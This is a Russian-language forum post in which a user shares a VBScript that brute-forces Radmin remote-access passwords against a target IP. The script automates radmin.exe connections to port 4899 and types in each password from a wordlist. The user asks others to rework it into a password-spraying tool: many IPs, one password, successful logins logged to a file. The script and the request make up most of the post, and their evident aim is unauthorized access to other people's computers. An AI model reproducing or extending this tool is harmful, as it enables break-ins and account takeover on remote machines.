Войти

Показать полную графическую версию : Скрипт перебора IP для RAdmin


falcon92
10-08-2009, 21:17
ПреВедСтВуЙу Всех..

Ищу знатоков vbs, т.к. чисто лень разбираться с языком....
Вот скрипт для вставки одного IP и листа пассов.
Мне надо, чтобы вставляешь Лист Аипишнегов и один Пасс. К примеру 12345678
Лист ИПишнеГоФф собственно свой.

P.S Желательно с выводов в GOODофф в файл..
P.P.S Желательно, чтобы игнорил сервы 3ей версии (Т.к. там идет вставка LOGIN, иногда DOMAIN)




Set objShell = CreateObject("Wsсriрt.Shell")

intValue = InputBox("Please Enter Your Target IP:")
strCommandLine = intValue



Set cmd = CreateObject("Wsсriрt.Shell")
If Wsсriрt.Arguments(0) = "" Then
Wsсriрt.Echo "usage: csсriрt vbsFile.vbs <yourtxtfile>"
Else
Set fso = CreateObject("sсriрting.FileSystemObject")
Filename = Wsсriрt.Arguments(0)

If fso.FileExists(Filename) Then
Set objTextFile = fso.OpenTextFile(Filename,1)
Wsсriрt.Sleep 2000
Do Until objTextFile.AtEndOfStream
line = objTextFile.Readline

Wsсriрt.Echo "[+] Attacking " & intValue & "....... " & line
Wsсriрt.Sleep 500
set WshShell = Wsсriрt.CreateObject("Wsсriрt.Shell")
WshShell.Run "radmin.exe /connect:" & intValue & ":4899 /telnet"
Wsсriрt.Sleep 500
WshShell.AppActivate "Enter password for <Entry name>"
WshShell.SendKeys line
Wsсriрt.Sleep 500
WshShell.SendKeys "{ENTER}"
Wsсriрt.Sleep 200
WshShell.SendKeys "{ENTER}"

loop
objTextFile.Close
Else
Wsсriрt.Echo Filename & "does not exists"
End If
End If




Вроде не сложно )) ПЛЗ Прохелпите )) Тут вроде пару строк сменить. Мне уже пошарить по мускулам на сегодня хватило :/// нИаСиЛил

With *.* иЗвиНиТЕ зА НеРоВНый ПочЕРк! (c)




© OSzone.net 2001-2012